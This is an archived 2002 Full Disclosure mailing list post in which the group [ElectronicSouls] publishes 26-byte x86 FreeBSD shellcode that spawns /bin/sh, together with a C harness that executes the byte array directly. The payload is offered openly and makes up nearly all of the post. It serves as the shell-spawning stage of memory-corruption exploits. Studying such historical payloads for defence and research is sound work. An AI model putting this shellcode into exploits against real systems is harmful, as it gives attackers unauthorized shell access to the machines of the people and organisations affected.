Full Disclosure mailing list archives

[ElectronicSouls] - BSD Shellcode


From: es () hush com
Date: Thu, 28 Nov 2002 21:50:52 -0800


-----BEGIN PGP SIGNED MESSAGE-----

Dear List,

We have come to the conclusion that there isn't enough shellcode
publically available right now, that does the exact same thing,
so we proudly present to you some of our own shellcode, for FreeBSD.

# cat bsd-sh.c
/* 26 byte x86 bsd /bin/sh shell by roc */
/* for the [ElectronicSouls] Crew                       */
/* tested on FreeBSD 4.3-STABLE                  */


#define DID_YOU_KNOW "that this code executes //bin/sh?"\

unsigned char shellcode[] = { 0x31,0xc0,0x31,0xdb,0x99,0x52,0x68,0x6e,
                              0x2f,0x73,0x68,0x68,0x2f,0x2f,0x62,0x69,
                              0x89,0xe3,0x52,0x52,0x53,0x53,0xb0,0x3b,
                              0xcd,0x80 };
int main() {
 /* modified from lamagra's execute chroot shellcode script */

int (*funct)();
  funct = (int (*)()) shellcode;
  printf("size = %d\n",strlen(shellcode));
  (int)(*funct)();

}

#

We hope this helps you with your penetration testing efforts in the
future!

The Electronic Souls Crew
[ElectronicSouls] (c) 2002

"Oh why, oh why, is it I am forgotten?"

-----BEGIN PGP SIGNATURE-----
Version: Hush 2.2 (Java)
Note: This signature can be verified at https://www.hushtools.com/verify

wlMEARECABMFAj3nAEwMHGVzQGh1c2guY29tAAoJEN5nGqhGcjltwwkAn1i6oPyOJa3Q
RJ0kyGdPZsc6yuPAAJ9t/2Pc/m/05/Y/XDM6oy/RPkUavw==
=0y+l
-----END PGP SIGNATURE-----




Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2 

Big $$$ to be made with the HushMail Affiliate Program: 
https://www.hushmail.com/about.php?subloc=affiliate&l=427
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: